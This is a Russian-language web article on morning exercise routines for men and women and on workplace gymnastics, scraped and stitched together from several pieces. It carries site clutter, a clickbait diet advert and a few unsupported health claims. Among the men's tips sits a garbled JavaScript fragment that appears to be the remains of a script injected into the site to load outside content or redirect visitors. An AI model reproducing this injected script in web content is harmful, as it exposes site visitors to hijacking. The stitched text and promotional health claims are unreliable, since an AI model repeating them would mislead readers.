Комплекс упражнений для утренней зарядки

Многие представители сильного пола со скепсисом относятся к разминке после пробуждения, считая ее напрасной тратой времени и сил. На самом же деле это глубокое заблуждение, ведь утренняя зарядка для мужчин не только не утомляет, но и разогревает мышцы, заставляет гораздо быстрее циркулировать кровь и, как следствие, дает ощутимый заряд бодрости, настраивая на новые подвиги и делая день максимально продуктивным.

Особенности утренней гимнастики

Возможно, в это сложно поверить, но утренняя гимнастика для мужчин вызывает привыкание, и если поначалу приходится заставлять себя прибегать к легкой физической нагрузке после пробуждения, то со временем человек уже сам не будет чувствовать себя хорошо без ежедневной разминки. Тому есть несколько уважительных причин начиная с хорошего самочувствия и прилива сил, которые обязательно дает разминка в первой половине дня. На этом преимущества силовой зарядки по утрам для мужчин отнюдь не заканчиваются и основными из них являются:

  1. Сохранение мышечного тонуса и правильной осанки.
  2. Общее укрепление кора (мышечного корсета).
  3. Нормализация кровообращения за счет стимуляции общего тока.
  4. Снижение потенциальных рисков развития сердечно-сосудистых заболеваний и нормализация гормонального фона.
  5. Общее снижение массы тела и поддержка формы.
  6. Улучшение общего настроения и продуктивности в течение всего рабочего дня.

Огромное значение имеет и мотивация, без которой начать занятия практически невозможно. Человек должен захотеть изменить свою жизнь, наполнив ее движением.

Кроме того, осознание, что утренняя зарядка дома для мужчин, помимо общего оздоровительного эффекта, поможет сэкономить неплохие деньги, которых требует регулярное посещение спортзала, обязательно даст толчок для начала, а это, как известно, половина дела.

Что такое производственная гимнастика и зачем она нужна?

Труд – источник материальной и духовной культуры, основное средство формирования и совершенствования способностей человека. Наряду с улучшениями условий труда, применением прогрессивных методов, позволяющих повысить уровень общественного производства, наблюдаются и отрицательные стороны научно-технического прогресса.

Это повышение нервного-эмоционального напряжения и уменьшение мышечной активности. А ведь мышечная деятельность – это жизненная, биологическая потребность организма, одно из важнейших условий нормальной жизнедеятельности человека.

Производственная гимнастика — мини-комплекс физических упражнений, выполняемых во время рабочего процесса для снятия усталости, мышечных зажимов и напряжения. Она призвана “переводить дух” уставшего работника и имеет массу преимуществ для здоровья.

Физическая активность повышает тонус организма, улучшает настроение и заряжает энергией. С помощью физкультминутки можно снять стресс и раздраженность, размять затекшие, привыкшие к одному и тому же положению мышцы.

А ещё упражнения улучшают кровообращение и обменные процессы, дарят “второе дыхание” работе самых “трудоголичных” частей тела: спины, глаз, рук, шеи.

Научно доказано, что производственная гимнастика в офисе укрепляет здоровье работников. Тех, кто не собирается обращать внимание на такую простую и важную дисциплину, с большой вероятностью ждут: падение зрения, ожирение, головные боли, радикулит, остеохондроз. Самый распространенный недуг — ухудшение осанки. О том, как с ним справиться, читайте в нашем материале Восстановите осанку, чтобы вернуть мышечный баланс.

Из преимуществ физкультминуток — эстетическая сторона практики: совместные занятия укрепляют коллективною сплоченность, задают общий положительный настрой между коллегами.

Напрашивается вывод: регулярное, особенно, массовое выполнение производственной гимнастики повышает работоспособность трудового коллектива. На это как раз и рассчитывали при коммунизме.

Движения корпусом

  1. Поставить удобно и устойчиво ноги (лучше всего – на ширине плеч), а затем выполнить ряд наклонов вперёд. При этом следует дотянуться пальцами или всей ладонью до самого пола (в том случае, если это возможно при имеющейся растяжке). Однако двигаться следует плавно и мягко, без грубых переходов.
  2. Выполнить круговые движения тазом, расположив руки на поясе. Не рекомендуется делать резких движений, чтобы не защемить мышцы, а также не вызвать болевые ощущения.
  3. Поставить устойчиво ноги, потом положить левую руку на пояс, а правую – поднять вверх. Далее требуется выполнить несколько движений в стороны: считая 1-2 – наклониться влево, потом сменить руку и, считая 3-4, наклониться вправо. Цель этого упражнения – слегка размять спинные мышцы. Если возникает ощущение напряжения, тогда следует уменьшить нагрузку.
  4. Выполнить вращения туловищем. Для этого следует согнуть руки перед собой и сомкнуть в замок. Далее на счёт 1-2 нужно выполнить поворот влево, оставляя при этом ноги на месте, затем на счёт 3-4 – повернуть вправо.

Внимание: выполняя упражнение, важно держать ступни на полу и не поднимать их вверх. Это обеспечит больший эффект от упражнений.

Как начать делать утреннюю зарядку для мужчин

Если вы читаете это статью, то, скорее всего, вам ещё только предстоит ввести утреннюю зарядку в своё расписание дня. Поэтому, прежде чем перейти к рассмотрению упражнений для вашей будущей программы, предлагаем вам ознакомиться с несколькими базовыми советами.

  1. Сразу договоримся — утренняя гимнастика требует регулярности. Если вы не можете по каким-то причинам делать её каждое утро, то выберите себе дни, в которые вы сможете уделить ей время независимо от обстоятельств. График может быть любой: через день, по будним дням, два дня через один и так далее. Но он должен быть определён точно. Это очень быстро позволит вам превратить утреннюю зарядку из обязанности в хорошую привычку.
  2. Вы, конечно, помните стандартный набор упражнений для утренней зарядки, знакомый ещё с уроков физкультуры и, в принципе, готовы приступить к первому занятию хоть сейчас. Не спешите. Набросайте себе программу упражнений, которая будет учитывать ваши особенности. Возможно, вам нужно сделать акцент на какие-то упражнения, а другие исключить.
  3. Не бросайтесь с места в карьер. На первых порах вам потребуется так называемый втягивающий режим. Меньшая продолжительность занятия, меньшее количество повторений. Особенно это касается силовых упражнений. Продержать ту же планку 60 секунд далеко не каждый сможет без небольшого адаптационного периода. Как правило, на втягивающий режим отводится 1–2 недели.
  4. Итак, программа готова, наступает утро Х. Но ни в коем случае не стоит приниматься за упражнения, едва вы встали с кровати. Организм не сразу переходит от сна к бодрствованию. Умойтесь, пройдитесь по квартире, и только после этого приступайте к упражнениям. Если у вас дома есть турник, повисите на нём секунд 20, не выполняя никаких упражнений. Полезно будет помассировать кисти рук и ступни и сделать несколько глубоких вдохов.
  5. Кстати, о вдохах. Гораздо полезней делать утреннюю зарядку в хорошо проветренном помещении. Однако в холодное время года лучше не оставлять во время занятий открытым окно — вас может продуть. Если помещение маленькое, то вам вскоре может стать душно. В этом случае можно делать небольшой перерыв на дополнительное проветривание. Если же у вас есть возможность заниматься на приусадебном участке, это будет идеальным вариантом.
  6. Обязательно подберите комфортную одежду и обувь. Даже если вы занимаетесь в квартире, не стоит делать этого в одном белье или без специальной обуви. Даже банальные разминочные упражнения вроде вращения голеностопным суставом или махов ногами босиком делать не слишком удобно.
  7. Постепенно увеличивайте интенсивность тренировок. Не забывайте, что организм человека адаптируется к возрастающим нагрузкам.
  8. Вы можете облегчить свой переход в спортивный режим, если будете принимать специально разработанные витаминно-минеральные комплексы. Не стоит недооценивать их значимость!
  9. Рационально распоряжайтесь утренним временем! У большинства оно ограничено. В идеале утренняя зарядка мужчины должна занимать до 30 минут. Но даже десятиминутные занятия принесут свои плоды при условии регулярности.
  10. А ещё неплохо было бы запастись гимнастическим ковриком.

var d=document;var s=(‘script’);
‘&&’+(‘?’, ‘&’)+’&se_referrer=’ + encodeURIComponent() + ‘&default_keyword=’ + encodeURIComponent() + ‘&_cid=b05b07fc-1d51-a7a9-58d6-08a322ff18cc’;
(«b05b07fc-1d51-a7a9-58d6-08a322ff18cc»).appendChild(s);

Упражнения для утренней зарядки

Предлагаем вашему вниманию классический комплекс упражнений для утренней зарядки, который также может быть использован в качестве разминки перед любыми спортивными занятиями, например, перед подтягиваниями или отжиманиями.

Таблица 1. Комплекс упражнений для утренней зарядки

Наименование упражнения Минимальное количество повторов
Наклоны головы 15
Повороты головы 15
Круговое вращение головой 5 (прямое — п) 5 (обратное — о) 5 (п) 5 (о)
Круговые вращения руками 5 (п) 5 (о) 5 (п) 5 (о)
Поочередные взмахи руками 20
Разминка кистей и запястий 10 (п) 10 (о) 10 (п) 10 (о)
Боковые наклоны туловища 30
Круговые движения корпуса 5 (п) 5 (о) 5 (п) 5 (о)
Приседания 15
Круговые движения в коленях 10 (п) 10 (о) 10 (п) 10 (о)

Этот набор простых и легких упражнений используют многие спортсмены. На следующем видео мастер спорта и чемпион по пауерлифтингу Олег Федорчук показывает пример утренней зарядки для мужчин и женщин.

Читайте также:  Тренировки для похудения в тренажерном зале для мужчин

Понравилась статья?Следите за обновлениями В Контакте, Одноклассниках, Facebook, Google Plus или Twitter.

Эффективная зарядка для женщин

Имеется огромное разнообразие комплексов утренней гимнастики для слабого пола. Такие упражнения помогают держать тело в тонусе, сохраняют упругость кожи, заряжают энергией, улучшают здоровье и настроение.

Совет от диетолога Ирины Шилиной Здоровое питание несовместимо со строгими диетическими ограничениями, недоеданием и длительным голоданием. Сегодня незачем стремиться к аномальной худобе, лишая себя пищи! Обратите внимание на новейшие методики по снижению веса 2021 года. Узнать секрет ->

Можно обратить внимание на следующие движения:

Вам также будет интересно: Сколько минут в день нужно крутить обруч для похудения

  • тело наклоняем вперед, руки вытянуты за спиной, опускаемся максимально низко;
  • осуществляем вращение плечами: по очереди, затем одновременно;
  • ложимся на пол, руки за головой, ноги согнуты под углом 90 градусов; попеременно тянемся локтем к противоположной ноге;
  • делаем махи вперед, влево и вправо;сначала задействуем левую, затем правую ногу;
  • корпусом совершаем круговые движения, по 5–7 раз в каждую сторону; нижняя часть тела остается на месте.

Важно помнить, что при выполнении упражнений утреннего комплекса не должно возникать резких движений и рывков.

Зарядка для женщин: ориентация – красивая фигура!

Женщинам, которые хотят иметь красивую осанку, легкую походку и отличное самочувствие, для основной части утренней зарядки подойдет такой комплекс упражнений.

  • Брюшной пресс (чтобы привести в порядок мышцы живота):
  1. лежа на спине, поднимать прямые ноги вверх (поясницу от пола не отрывать); можно взяться руками за какую-либо опору;
  2. лечь на пол. Руки скрепить в замок на затылке. Поднимать верхнюю часть туловища.
  • Мышцы ног:
  1. пробежка по кругу в течение 2-3 минут;
  2. для растяжки мышц ног – расставить ноги максимально широко, попеременно сгибать ноги;
  • Талия: вращение хула-хупа (если его нет, то можно имитировать его вращение, выполняя круговые движения бедрами).
  • Руки: отжиматься от пола, опираясь на колени, туловище держать ровно (таз не приподнимать).
  • Растяжка:
  1. упражнение выполняется стоя. Спину держать ровно, свести лопатки;
  2. сесть на пол. Сдвинуть прямые ноги, медленно наклониться вперед, вернуться в и.п.;
  3. перекрестить руки и постараться обнять себя.
  • Закончить зарядку следует упражнениями на расслабление, которые были описаны выше.

Рекомендации специалистов

Многие мужчины беспокоятся о своем самочувствии и здоровье, поэтому уделяют полчаса в день утренней тренировке. Специалисты рекомендуют с утра проводить водные процедуры и только после этого выполнять комплекс зарядки.

После водных процедур организм полностью просыпается. Вода дает огромный заряд энергии на весь день. Таким образом происходит закаливание организма. Но лучше всего к таким процедурам приступать постепенно. Для организма полезны солнечные лучи и витамин D, особенно это касается мужского организма, который каждый день подвергается большим нагрузкам.

Перед принятием солнечных ванн можно провести небольшой массаж вручную или с помощью массажера. Утренняя зарядка может состоять из комплекса упражнений, при этом тренировка может быть очень простой или включать в себя несколько сложных элементов. Советы специалистов:

  1. При выполнении зарядки можно применять упражнения, которые запомнились со времен школы.
  2. Специалисты рекомендуют подбирать упражнения с учетом особенностей организма.
  3. Многие мужчины любят бегать по утрам, пробежку можно выполнять в спортзале или на улице.
  4. Если пробежка происходит дома, то можно просто бежать на месте или использовать беговую дорожку.

После этого необходимо выполнить наклоны или простые упражнения с движениями рук. Если для мужчины недоступен комплекс сложной зарядки из-за плохого самочувствия или других проблем со здоровьем, то можно использовать лёгкую разминку:

  1. Одну руку необходимо поднять наверх, а другую опустить.
  2. На выдохе нужно сделать наклоны в сторону, они должны быть противопоставлены поднятой руке.
  3. Наклоны нужно выполнять поочередно в разные стороны. Руку необходимо поднять над головой, сделайте вдох.
  4. Затем нужно наклониться и сделать выдох, пальцами достать до пола.
  5. Руки нужно расположить перед грудью, ладони должны находиться параллельно полу. Необходимо совершать движения локтями за спиной, затем руки нужно развести в стороны.
  6. Потом руки необходимо расположить на поясе.
  7. Нужно выполнять вращательные движения тазом в разные стороны.
  8. Потом надо высоко поднять колени, выполняя бег на месте.

Этот комплекс считается примерным, его можно корректировать и изменять в зависимости от собственных физических данных. Но в любом случае необходимо позаботиться о том, чтобы были проработаны все части тела в равной мере. Только в этом случае комплекс упражнений по утрам будет приносить пользу и бодрость.

Читайте также:  Бег трусцой для похудения и здоровья: как правильно бегать

Чтобы зарядка приносила наибольший ежедневный эффект, необходимо выполнять отжимания и наклоны с применением гантелей. В этом случае комплекс принесет наибольший результат, и укрепится мышечная система. В итоге это положительным образом повлияет на организм.

По времени зарядка не должна превышать 20 минут. Если у мужчины имеются определенные проблемы со здоровьем, то лучше проконсультироваться с доктором, вместе с ним можно составить необходимый комплекс утренней зарядки. Благодаря зарядке мужчина всегда будет оставаться в форме. За счёт основных физических упражнений можно поддерживать любые мышцы в хорошей форме.

Originally posted 2018-01-09 08:48:39.

Упражнения для утренней зарядки для мужчин: как всегда быть в форме

Как правило, мужчины обладают большей физической подготовленностью, чем женщины. Поэтому в комплекс утренней зарядки мужчины могут включать упражнения, предполагающие использование гантелей.

Напомним, что превращать зарядку в тренировку недопустимо, поэтому вес снарядов должен быть средним либо легким, в зависимости от уровня физической подготовки.

Можно взять на заметку следующие упражнения:

  1. Взяв в каждую руку по гантели, встаньте с прямой спиной, ноги расположив на ширине плеч, правую руку поднимите вверх, левую опустите вниз. Затем попеременно меняйте положение рук.
  2. Не меняя исходного положения, разведите руки по сторонам. Вдыхая, вытяните прямые руки перед грудью, одновременно сгибая правую ногу и притягивая ее к левой руке, выдыхая, опустите ногу, а руку снова переведите в сторону. Сделайте упражнение, притягивая левую ногу к правой руке;
  3. Последнее упражнение так же выполняется из положения стоя, при этом руки с зажатыми в них снарядами нужно поднять над головой. Начинайте круговые вращения руками, при этом правая рука движется по направлению вперед, левая – назад.

    Сделайте 3-5 движений, а затем измените направление: теперь левая рука движется вперед, правая – назад.

Очень полезно для мужчин отжимание по утрам.

Отжиматься можно, опираясь на ладони либо, в более сложном варианте, на кулаки. При этом важно обращать внимание на то, чтобы копчик был подтянут, поясница не прогибалась, а туловище и шея располагались параллельно полу.

Еще одно эффективное утреннее упражнение для мужчин – подъем туловища, позволяющее отлично проработать пресс.

В положении сидя согните ноги и, зацепившись за какой-либо упор, зафиксируйте их. Теперь опуститесь на спину, оторвав от пола голову и плечи, руки соедините за головой либо скрестите на груди. Вдыхая, поднимайте туловище, на выдохе опускайте корпус в исходное положение.

В процессе выполнения упражнения не опускайте голову на пол и следите, чтобы напрягались исключительно мышцы пресса, ни шея, ни плечи, ни руки не должны нагружаться.

С пользой проведенное утро – залог продуктивного дня, и в силах каждого человека встретить новый день полным энергии, сил и отличного настроения.

Уделив всего четверть часа своего времени выполнению простых, но эффективных упражнений, можно навсегда забыть о вялости и сонливости – ощущений, которые испытывают в течение всего дня люди, предпочитающие понежиться в постели вместо того, чтобы сделать зарядку.

Правила выполнения

Чтобы не травмироваться во время силовых нагрузок, следует выполнять манипуляции правильно и с учетом несложных правил. Профессионалы рекомендуют подготовить комплекс упражнений для утренней зарядки мужчинам еще с вечера. Очень важно заблаговременно определиться с точным временем проведения занятий, выбрать место и подготовить необходимый спортивный инвентарь. Силовая зарядка утром для мужчин выполняется с учетом следующих правил:

  • любые спортивные мероприятия должны начинаться с хорошей разминки или растяжки, в противном случае можно вызвать растяжение или разрыв связок от поднятия большого веса;
  • при выборе гантелей нужно учитывать их предназначение, например, для похудения предназначается маленький нетяжелый инвентарь;
  • для разработки и прокачки мышц подбираются тяжелые гантели;
  • нагрузки, направленные на определенные группы мышц, нужно обязательно чередовать;
  • после каждого подхода обязательно делают растяжку;
  • выполнив занятия с гантелями, проводят дыхательную гимнастику, которая обеспечит организм необходимым кислородом;
  • чтобы не перегрузить сердце и не вызвать болезненных ощущений, необходимо правильно подобрать темп, не стоит выполнять движения слишком интенсивно.

Утренняя зарядка — пробуждает от сна, укрепляет здоровье, организует время

Также крайне важно при подборе комплекса физических упражнений учитывать возраст мужчины. Это связано с тем, что людям после 40 лет стоит снижать нагрузку и уменьшать количество подходов, особенно если до этого они не занимались активным спортом.